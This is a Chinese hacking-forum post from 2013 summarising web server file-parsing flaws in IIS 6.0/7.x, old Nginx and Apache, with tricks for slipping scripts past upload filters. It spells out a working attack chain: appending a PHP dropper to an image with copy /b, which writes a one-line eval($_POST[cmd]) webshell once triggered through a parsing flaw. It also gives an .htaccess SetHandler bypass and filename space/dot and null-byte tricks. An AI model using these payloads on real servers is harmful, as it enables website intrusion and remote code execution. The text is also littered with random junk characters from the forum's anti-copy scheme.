找回密码
 立即注册
查看: 3516|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain1 }) |: n! c! @( E. g- r4 E' D
[+]IIS6.0
# {' g# @: @4 O1 d6 ] ) H, q! e% S% F+ }7 d
目录解析:/xx.asp/xx.jpg
6 Q! `. k, c2 j9 ]/ U xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
. O$ I. a( @+ n8 n$ a4 f1 k! S IIS6.0 会将 xx.jpg 解析为 asp 文件。1 v; N9 g8 j4 o* ^
后缀解析:/xx.asp;.jpg     
2 B4 p& x& t" u# s  Y4 t IIS6.0 都会把此类后缀文件成功解析为 asp 文件。% J# }4 s0 }% y3 y/ B
默认解析:/xx.asa5 A, z- h; i0 a( g* x7 V
         /xx.cer  \4 y7 B$ B7 f' C
         /xx.cdx5 m) S& Y6 h- V9 R  l
IIS6.0 默认的可执行文件除了 asp 还包含这三种% }+ I1 ~0 x' h
此处可联系利用目录解析漏洞   V, r9 T1 N3 F8 G; A2 p
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
9 D" b7 Q# s+ J) A5 F0 ^3 `3 U[+]IIS 7.0/IIS 7.5/Nginx <0.8.03  {( P$ T" q2 B2 J2 f
+ e. ^/ [7 ?/ O; [
IIS 7.0/IIS 7.5/Nginx <0.8.03
* D2 t5 I* C7 L" T' v& H 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面* \1 h7 s4 M% R7 X
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
# J9 U) t# i6 J' c: S* D 常用利用方法:+ y6 x2 G$ J% n6 \( D
将一张图和一个写入后门代码的文本文件合并将恶意文本4 M1 V9 {6 P$ ]( c
写入图片的二进制代码之后,避免破坏图片文件头和尾
3 B+ v3 A" C$ C% [0 l# ^3 x 如:
- ^  b& o1 j+ ^6 |4 C' o; h copy xx.jpg /b + yy.txt/a xy.jpg
5 ?8 H' y' B% q* h) B #########################################################$ J$ R$ f- q! d
/b 即二进制[binary]模式
& y& q1 d( i$ P /a 即ascii模式: D  T+ A! a+ [& z3 q
xx.jpg 正常图片文件, K# m. N$ ~' @8 Z+ E, F
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),) \. x1 V3 E+ A6 A4 T# p# [' ^
'<?php eval($_POST[cmd])?>');?>+ d+ T* `3 x6 l" Q( z6 |
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称6 m" a" Y6 S% o+ h5 N1 x
为shell.php的文件( J; E( `' Z4 N
###########################################################$ w% o/ G8 e2 @: o( R( y& O0 o, G
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 9 |& \% J: G7 x  z+ H6 x
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php $ v) {! f5 h( w+ S3 P3 s! a. {. x' X7 E
密码 cmd6 R$ C3 Q: H' l! r. g
[+]Nginx <0.8.035 L$ ~, [" L% E7 j% y. {3 u
1 B& t8 u1 f* x% ~2 U* b9 N
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞' R* P+ K2 d- S( e2 s
在一个文件路径(/xx.jpg)后面加上%00.php9 E0 F% K  [4 P9 ~* P
会将 /xx.jpg%00.php 解析为 php 文件。
/ r7 b) b5 q& F# D[+]Apache<0.8.03" C5 a5 v1 S) G, c; L

! s9 }: u' s+ D: ] 后缀解析:test.php.x1.x2.x3- C* w: v- E5 H% a* i: i
Apache将从右至左开始判断后缀,若x3非可识别后缀,1 b4 e4 Z) _3 K
再判断x2,直到找到可识别后缀为止,然后将该可识别
, Y! j, S- |6 X+ V8 H: z 后缀进解析test.php.x1.x2.x3 则会被解析为php: L, s2 j  h" ]$ a$ p. N
经验之谈:php|php3|phtml 多可被Apache解析。
/ [* O% z8 O* m2 O[+]其他一些可利用的" r, T3 |$ \- v1 x* `

! N( c7 A# j  G, M9 D6 S在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
# t+ X4 {0 H7 m5 a$ |) `若这样命名,windows会默认除去空格或点,这也是可以被利用的!
/ q; w6 W% e4 \8 `在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格0 M( O2 q7 S6 z4 h8 c
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
9 G/ L! l0 A6 e- i% G( U得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。& I9 b( }  p# j2 i; d, N, B1 {0 A
{Linux主机中不行,Linux允许这类文件存在}
: }% ]+ V, B! j* I如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
$ a. ?+ N5 O, f( O( n; D/ r的,当初我并不知道),且可以被上传,那可以尝试在' Y( O" N: c$ |6 y. D
.htaccess中写入:
& o; @' }+ r+ e2 p0 o% f) ^) W<FilesMatch “shell.jpg”> 1 ^( j0 t: G+ t# l" @/ w$ F5 \
SetHandler application/x-httpd-php ( W+ O+ w; \1 w  _/ ^( @- @2 C
</FilesMatch>$ S: M5 R$ n! \8 R8 Q
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
0 d+ z7 X; @/ J3 f/ z[+]错误修改1 g3 d7 Y; t. C" A, ?" K+ c

% c" X( n2 D( L$ g0 a在 IIS 6.0 下可解析 /xx.asp:.jpg
6 V. j& ?+ I& m5 [4 U2 }{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去  C9 N& `( t9 q
剩下/xx.asp}修改:! Z3 \0 X8 N6 P5 E1 I
先谢谢核攻击的提醒; B: a: ?: o+ D- S4 ]% U0 v9 I
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp% w) O  V, {  K1 c3 n7 |
里是没有任何内容的,因为。。不好解释 大家自己看
! [; z, k! }9 Hhttp://lcx.cc/?i=2448. c+ r/ v- c" e2 f* i/ p
http://baike.baidu.com/view/3619593.htm9 X$ z+ ]1 ]/ I% r7 T9 d) g8 s
; F3 z6 @/ c! r+ z- T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表